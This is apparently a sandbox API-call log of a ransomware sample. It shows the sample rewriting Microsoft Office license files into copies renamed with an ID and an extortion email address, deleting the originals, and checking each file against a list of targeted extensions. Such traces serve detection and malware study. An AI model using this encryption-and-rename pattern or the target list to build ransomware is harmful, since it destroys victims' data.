	[0173.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0173.574] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.575] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0173.575] GetLastError () returned 0x0
	[0173.575] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1a49, lpOverlapped=0x0) returned 1
	[0174.489] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1a50, lpOverlapped=0x0) returned 1
	[0174.490] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.490] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x102, lpOverlapped=0x0) returned 1
	[0174.490] SetEndOfFile (hFile=0x558) returned 1
	[0174.490] CloseHandle (hObject=0x558) returned 1
	[0174.490] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.490] SetEndOfFile (hFile=0x524) returned 1
	[0175.312] CloseHandle (hObject=0x524) returned 1
	[0175.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1
	[0175.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.313] lstrlenW (lpString=".doc") returned 4
	[0175.313] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.313] lstrlenW (lpString=".docx") returned 5
	[0175.313] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.313] lstrlenW (lpString=".pdf") returned 4
	[0175.313] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.313] lstrlenW (lpString=".xls") returned 4
	[0175.313] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.313] lstrlenW (lpString=".xlsx") returned 5
	[0175.313] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.313] lstrlenW (lpString=".ppt") returned 4
	[0175.313] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.313] lstrlenW (lpString=".zip") returned 4
	[0175.313] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.313] lstrlenW (lpString=".rar") returned 4
	[0175.314] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString=".bz2") returned 4
	[0175.314] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString=".7z") returned 3
	[0175.314] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.314] lstrlenW (lpString=".dbf") returned 4
	[0175.314] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.314] lstrlenW (lpString=".1cd") returned 4
	[0175.314] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.314] lstrlenW (lpString=".jpg") returned 4
	[0175.314] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.314] lstrlenW (lpString=".doc") returned 4
	[0175.314] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString=".docx") returned 5
	[0175.314] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.314] lstrlenW (lpString=".pdf") returned 4
	[0175.314] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString=".xls") returned 4
	[0175.314] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString=".xlsx") returned 5
	[0175.314] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.314] lstrlenW (lpString=".ppt") returned 4
	[0175.314] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.315] lstrlenW (lpString=".zip") returned 4
	[0175.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.315] lstrlenW (lpString=".rar") returned 4
	[0175.315] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.315] lstrlenW (lpString=".bz2") returned 4
	[0175.315] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.315] lstrlenW (lpString=".7z") returned 3
	[0175.315] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.315] lstrlenW (lpString=".dbf") returned 4
	[0175.315] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.315] lstrlenW (lpString=".1cd") returned 4
	[0175.315] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0175.315] lstrlenW (lpString=".jpg") returned 4
	[0175.315] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.315] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.315] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26
	[0175.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.316] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11589) returned 1
	[0175.316] CloseHandle (hObject=0x524) returned 1
	[0175.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220
	[0175.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.317] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.317] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0175.351] GetLastError () returned 0x0
	[0175.351] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d45, lpOverlapped=0x0) returned 1
	[0175.362] WriteFile (in: hFile=0x438, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0175.364] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.364] WriteFile (in: hFile=0x438, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x108, lpOverlapped=0x0) returned 1
	[0175.364] SetEndOfFile (hFile=0x438) returned 1
	[0175.364] CloseHandle (hObject=0x438) returned 1
	[0175.364] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.364] SetEndOfFile (hFile=0x524) returned 1
	[0175.368] CloseHandle (hObject=0x524) returned 1
	[0175.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0175.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1
	[0175.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.369] lstrlenW (lpString=".doc") returned 4
	[0175.369] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.369] lstrlenW (lpString=".docx") returned 5
	[0175.369] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.369] lstrlenW (lpString=".pdf") returned 4
	[0175.369] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.369] lstrlenW (lpString=".xls") returned 4
	[0175.369] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.369] lstrlenW (lpString=".xlsx") returned 5
	[0175.369] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.369] lstrlenW (lpString=".ppt") returned 4
	[0175.369] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.369] lstrlenW (lpString=".zip") returned 4
	[0175.369] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.369] lstrlenW (lpString=".rar") returned 4
	[0175.370] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".bz2") returned 4
	[0175.370] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".7z") returned 3
	[0175.370] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString=".dbf") returned 4
	[0175.370] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString=".1cd") returned 4
	[0175.370] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString=".jpg") returned 4
	[0175.370] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString=".doc") returned 4
	[0175.370] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".docx") returned 5
	[0175.370] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.370] lstrlenW (lpString=".pdf") returned 4
	[0175.370] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".xls") returned 4
	[0175.370] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".xlsx") returned 5
	[0175.370] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.370] lstrlenW (lpString=".ppt") returned 4
	[0175.370] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.370] lstrlenW (lpString=".zip") returned 4
	[0175.370] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".rar") returned 4
	[0175.370] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.370] lstrlenW (lpString=".bz2") returned 4
	[0175.370] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.371] lstrlenW (lpString=".7z") returned 3
	[0175.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0175.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.371] lstrlenW (lpString=".dbf") returned 4
	[0175.371] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0175.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.371] lstrlenW (lpString=".1cd") returned 4
	[0175.371] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0175.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0175.371] lstrlenW (lpString=".jpg") returned 4
	[0175.371] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0175.371] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0175.371] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26
	[0175.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.372] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=20846) returned 1
	[0175.372] CloseHandle (hObject=0x524) returned 1
	[0175.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0175.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0175.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0175.373] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.373] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0175.374] GetLastError () returned 0x0
	[0175.374] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x516e, lpOverlapped=0x0) returned 1
	[0175.378] WriteFile (in: hFile=0x438, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x5170, lpOverlapped=0x0) returned 1
	[0175.380] ReadFile (in: hFile=0x524, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.380] WriteFile (in: hFile=0x438, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x108, lpOverlapped=0x0) returned 1
	[0175.380] SetEndOfFile (hFile=0x438) returned 1
	[0175.380] CloseHandle (hObject=0x438) returned 1
	[0175.385] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.385] SetEndOfFile (hFile=0x524) returned 1
	[0175.392] CloseHandle (hObject=0x524) returned 1
	[0175.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1
	[0176.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.017] lstrlenW (lpString=".doc") returned 4
	[0176.017] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.017] lstrlenW (lpString=".docx") returned 5
	[0176.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.017] lstrlenW (lpString=".pdf") returned 4
	[0176.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.017] lstrlenW (lpString=".xls") returned 4
	[0176.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.017] lstrlenW (lpString=".xlsx") returned 5
	[0176.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.017] lstrlenW (lpString=".ppt") returned 4
	[0176.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString=".zip") returned 4
	[0176.018] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".rar") returned 4
	[0176.018] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".bz2") returned 4
	[0176.018] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".7z") returned 3
	[0176.018] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString=".dbf") returned 4
	[0176.018] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString=".1cd") returned 4
	[0176.018] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString=".jpg") returned 4
	[0176.018] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.018] lstrlenW (lpString=".doc") returned 4
	[0176.018] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".docx") returned 5
	[0176.018] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.018] lstrlenW (lpString=".pdf") returned 4
	[0176.018] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".xls") returned 4
	[0176.018] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.018] lstrlenW (lpString=".xlsx") returned 5
	[0176.018] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.018] lstrlenW (lpString=".ppt") returned 4
	[0176.019] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.019] lstrlenW (lpString=".zip") returned 4
	[0176.019] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString=".rar") returned 4
	[0176.019] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString=".bz2") returned 4
	[0176.019] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString=".7z") returned 3
	[0176.019] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.019] lstrlenW (lpString=".dbf") returned 4
	[0176.019] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.019] lstrlenW (lpString=".1cd") returned 4
	[0176.019] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0176.019] lstrlenW (lpString=".jpg") returned 4
	[0176.019] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.019] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0176.019] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22
